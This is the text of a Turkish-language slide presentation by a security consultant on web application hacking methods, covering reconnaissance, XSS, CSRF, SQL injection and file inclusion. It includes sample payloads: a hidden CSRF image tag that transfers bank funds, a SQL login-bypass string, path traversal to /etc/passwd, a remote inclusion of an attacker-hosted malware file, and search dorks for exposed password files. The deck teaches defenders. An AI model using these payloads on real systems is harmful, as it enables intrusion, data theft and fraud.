320 likes | 740 Views
Web Uygulamaları ve Hacking Yöntemleri. Eyüp ÇELİK Siber Güvenlik Danışmanı info@eyupcelik.com.tr http://www.eyupcelik.com.tr. Twitter.com/EPICROUTERS. Facebook.com/EPICROUTERSS. Eyüp ÇELİK Kimdir?. Siber Güvenlik Danışmanı (EntPro Bilişim ve Danışmanlık ) White Hat Hacker
E N D
Web Uygulamaları ve Hacking Yöntemleri Eyüp ÇELİK Siber Güvenlik Danışmanı info@eyupcelik.com.tr http://www.eyupcelik.com.tr Twitter.com/EPICROUTERS Facebook.com/EPICROUTERSS
Eyüp ÇELİK Kimdir? • Siber GüvenlikDanışmanı (EntPro Bilişim ve Danışmanlık) • White Hat Hacker • Ethical Hacking Eğitmeni • Blog Yazarı (www.eyupcelik.com.tr) • SecWis Güvenlik Birim Yöneticisi (www.secwis.com) • LabSec Community - Güvenlik Ekip Lideri • Anatolia Security - Proje Takım Lideri • Güvenlik Araştırmacısı (Security Research) • PacketStormSecurity.org • Exploit-db.com • Secunia.com
Ajanda • Web Uygulamaları ve HackingYöntemleri • Bilgi Toplama • Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi • Hata Mesajlarından Bilgi Toplama • Arama Motorlarından Bilgi Toplama • Alt Dizin ve Admin Panel Keşfi • Web Güvenlik Testlerinde Kişisel Proxyler • XSS, CSRF Açıkları ve Kötüye Kullanımı • XSS, CSRF Nedir? • XSS, CSRF Kullanımı • SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları • SQL Injection ve Blind SQL Injection Nedir? • SQL – Blind SQL Kullanımı • SQL Injection Örnekleri • Arama Motorlarından Zafiyet Arama • Havij, Sqlmap, SQL Finder, Pangolin • File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları • Local File Inclusion (LFI) • Remote File Inclusion (RFI) • Web Shell • Web Shell Kavramları ve Kullanım Amaçları • PHP, ASP, JSP, ASP.NET Shell Çeşitleri
Hata Mesajlarından Bilgi Toplama • Sıkkarşılaşılanhatakodları • 400 (Sözdizimiçözülemedi) • 403 (Yasak) • 404 (Bulunamadı) • 405 (Yöntemeizinverilmiyor) • 500 (Dahilisunucuhatası) • 505 (HTTP sürümüdesteklenmiyor)
Arama Motorlarından Bilgi Toplama • www.archive.org (Web Arşiv) • www.google.com • site: eyupcelik.com.tr • Filetype:txt • Password 123123 filetype:xml • Password 123123 filetype:xmlsite:site.com.tr • intitle:index.of • Intitle:index.ofsite:gov.tr • intitle:index.ofpwd.dbpasswdsite:com • Microsoft-IIS/5.0 server at • Apache/2.2Server at • www.bing.com • IP: 192.168.1.100 • KariyerSiteleri • (Kariyer.net, yenibiris.com. SecretCV)
Ajanda • Web Hacking Yöntemleri • Bilgi Toplama • Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi • Hata Mesajlarından Bilgi Toplama • Arama Motorlarından Bilgi Toplama • Alt Dizinve Admin Panel Keşfi • Web Güvenlik Testlerinde Kişisel Proxyler • XSS, CSRF Açıkları ve Kötüye Kullanımı • XSS, CSRF Nedir? • XSS, CSRF Kullanımı • SQL Injection Zafiyetleri ve Hacking AmaçlıKullanımları • SQL Injection ve Blind SQL Injection Nedir? • SQL – Blind SQL Kullanımı • SQL Injection Örnekleri • Arama Motorlarından Zafiyet Arama • Havij, Sqlmap, SQL Finder, Pangolin • File Inclusion Zafiyetleri ve HackingAmaçlıKullanımları • Local File Inclusion (LFI) • Remote File Inclusion (RFI) • Web Shell • Web Shell KavramlarıveKullanımAmaçları • PHP, ASP, JSP, ASP.NET Shell Çeşitleri
XSS Nedir? • Sunucuyagönderilenyazılımbetiklerinin (script) kullanıcınıntarayıcısındaçalıştığıbirsaldırıtürüdür. • PHP-ASP-ASP.NET Sayfalarında sıklıkla görülür. • Genellikle POST ve GET metotlarının kullanıldığı alanlarda olur. • Yazılımbetiklerinin kullanıcı tarafındaçalıştırılmasısonucunda oturum bilgileriçalınabilir, bilgisayarınazararlıkodlarenjekteedilebilir ve bilgisayaryönetimielegeçirilebilir. • En çok karşılaşılan güvenlik zafiyetidir!
XSS Zafiyet Türevleri • XSS • Reflected XSS Attack • Stored (Persistent) XSS Attack
Reflected XSS Saldırıları • URL adreslerindekiquerystringler ve form alanlarında sıklıkla görülür. • En çok karşılaşılan XSS saldırı türevidir. • Kullanıcı taraflı çalışır. • Phishing saldırılarına zemin oluşturur.
Stored (Persistent) XSS Saldırıları • Forumlar, ziyaretçi defterleri gibi alanlarda sıklıkla görülür. • XSS kodları database sunucusuna kaydedilir. • Kullanıcılar sayfaya eriştiklerinde XSS kodları çalışır ve amaca hizmet eder.
CSRF (Cross Site RequestForgery) Saldırısı • XSS saldırısınabenzer • Web uygulamasının oturumzaman aşımlarını kullanmamasından kaynaklanır. • XSS saldırılarınınaksine CSRF saldırıları kullanıcı bazlıdır. • Bu saldırıtüründe, kullanıcınınisteğidışındakullanıcıyaişlemleryaptırılır. • Banka hesaplarındanparatransferi, uygulamayetkiyükseltmesaldırılarıgibibirçokişlembusaldırıyöntemi ile yapılabilmektedir. • Saldırganınamacı;yetkisiolmayanalanlardaistediğiişlemiyetkisiolanbirkullanıcıyayaptırmaktır. • Örneğin; ING Direct bankasında bulunan CSRF zafiyeti, kullanıcınınbelirtilenhesabapara transfer etmesinisağlamaktaydı.
CSRF (Cross Site RequestForgery) Saldırısı - Örnek • Web sitesinde oturum açanbir kullanıcı, eğeraynızamandazararlıkodunbulunduğusayfayaerişirse, hesabındanbaşkabirhesabaparaaktarılıyor • Kullanıcı uygulamayıaçtıktansonra, zararlısayfada http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1 koduçalıştırılır. • Bununiçinsaldırganyukarıda bulunan kodusayfasında <img> veya <iframe> taglarıarasınayerleştirir. • Bu taglerkullanıcınıngörmemesiiçin • <imgsrc=“http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1” width=“0” height=“0”>şeklindeyada • <iframesrc=“http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1” width=“0” height=“0”>şeklindeolacaktır. • Bu kodlar kullanıcı tarafındaçalışınca, Eyupadlıkullanıcınhesabından Ismail adlıkullanıcınhesabına 500 TL aktarmışolacaktır.
Ajanda • Web Hacking Yöntemleri • Bilgi Toplama • Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi • Hata Mesajlarından Bilgi Toplama • Arama Motorlarından Bilgi Toplama • Alt Dizinve Admin Panel Keşfi • Web Güvenlik Testlerinde Kişisel Proxyler • XSS, CSRF Açıkları ve Kötüye Kullanımı • XSS, CSRF Nedir? • XSS, CSRF Kullanımı • SQL Injection Zafiyetleri ve Hacking AmaçlıKullanımları • SQL Injection ve Blind SQL Injection Nedir? • SQL – Blind SQL Kullanımı • SQL Injection Örnekleri • Arama Motorlarından Zafiyet Arama • Havij, Sqlmap, SQL Finder, Pangolin • File Inclusion Zafiyetleri ve HackingAmaçlıKullanımları • Local File Inclusion (LFI) • Remote File Inclusion (RFI) • Web Shell • Web Shell KavramlarıveKullanımAmaçları • PHP, ASP, JSP, ASP.NET Shell Çeşitleri
SQL Injection Nedir? • Veritabanındansorgulamalaryapılırken, sorgularabazıkarakterlerin (‘) eklenerekyetkisizsorgulamalaryapılmasıdır. • SQL injection yöntemi ile sqlsunucusunda bulunan verilereerişilebilir, değiştirilebilir , silinebilir • SQL Injection son zamanlarda en tehlikelisaldırıtürlerindenbirihalinegeldi. • Web uygulamalarında bulunan SQL sorgularınındoğrubirşekildeanalizedilmeden SQL sunucusunaaktarılmasındankaynaklananbirsaldırıtürüdü • SQL’deikitektırnak(‘)yanyanagelincearada bulunan kodlar “string” olarak kabuledilir. • Örneğin;biruserın form alanınagirişyapacağı zaman girmişolduğu input değerlerkontroledilirkensqlcümleciklerikullanılır. • SELECT * from kullanicilarwhere isim=‘eyup’ andsifre=‘x9x9’ • Böylebirdurumda, kullanıcılartablosunda bulunan isimkolonunda “eyup” varsa ve sifrekolonıundakişifresi de eğer “x9x9” ise kullanıcı oturum açmışolacaktır. • Kullanıcının form alanınagirmişolduğu input veriler where koşulunaatanmaktadır.
SQL Injection Nedir? • Bu mantıklaçalışanbirsitedesql injection saldırısı yapacaksakeğer, bize kullanıcı adı ve şifreyi her zaman döndürecekbirkodaihityacımızolacaktır. • Select * from kullanicilarwhere isim=‘’ OR ‘’ = ‘’ andsifre= ‘’ OR ‘’ = ‘’ • Kullanıcılartablosundakiisimkolonu ve sifrekolonuboşolankullanıcılarıistemişolduk.
ErrorBased SQL Injection Nedir? • ODBC (Open Database Connectivity) verikaynaklarıüzerinde veri taşımayayarayanbiraraçtır. • Bu işlemiverikaynağı ve uygulamaarasındabirkatmanoluşturarakgerçekleştirir. • Error Based SQL Injection saldırıları, ODBC’ninverdiğihatalardanfaydalanarakverilereerişmeye çalışır. • Çoğunlukla SQL Union operatöründenfaydalanılarakbuhataverilerineerişilir.
Blind (Kör) SQL Injection Nedir? • SQL injectiondakullanılankarakterlerinsonuçvermediğidurumlardakullanılanbirsaldırıyöntemidir. • Bu yöntemalınanhataların True veya False kısmı ile ilgilenir. • SQL üzerindeyapılansorgulamalarındoğruveyayanlışolduğusonuçlarınıbizegeridöndürür. • Blind SQL Injection ile yapılanyöntemlerdeneme-yanılmayöntemi ile yapılır.
Ajanda • Web Hacking Yöntemleri • Bilgi Toplama • Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi • Hata Mesajlarından Bilgi Toplama • Arama Motorlarından Bilgi Toplama • Alt Dizinve Admin Panel Keşfi • WebGüvenlikTestlerindeKişiselProxyler • OWASP Top 10 AçıklıkRehberi • XSS, CSRF AçıklarıveKötüyeKullanımı • XSS, CSRF Nedir? • XSS, CSRF Kullanımı • SQL Injection Zafiyetleri ve Hacking AmaçlıKullanımları • SQL Injection ve Blind SQL Injection Nedir? • SQL – Blind SQL Kullanımı • SQL Injection Örnekleri • Arama Motorlarından Zafiyet Arama • Havij, Sqlmap, SQL Finder, Pangolin • File Inclusion Zafiyetleri ve HackingAmaçlıKullanımları • Local File Inclusion (LFI) • Remote File Inclusion (RFI) • Web Shell • Web Shell KavramlarıveKullanımAmaçları • PHP, ASP, JSP, ASP.NET Shell Çeşitleri
Local File Inclusion (LFI) • Web sitesinde bulunan kodlama hatalarından (include, require) meydana gelir • Sunucuda bulunan dosyaların çağrılmasına ve okunabilmesine olanak verir • Sadece bulunduğu siteyi değil, sunucuda bulunan tüm siteleri etkileyebilir! • index.php?SayfaAc=iletisim.php • index.php?SayfaAc=../../configuration.php • index.php?SayfaAc=../../../../etc/passwd • index.php?SayfaAc=../../../boot.ini
Remote File Inclusion (RFI) • Web sitesinde bulunan kodlama hatalarından (include, require) meydana gelir • RFI saldırılarında en büyük etken değişkene değer atanmamasıdır! • Tanımlanmış ancak değer atanmamış olan değişkene dışardan değer aktarılması ile oluşur. • Sadece bulunduğu siteyi değil, sunucuda bulunan tüm siteleri etkileyebilir! • include($deger”.php”) • index.php?deger=http://www.site.com/malware.txt
Sonuç Teşekkürler Sorular?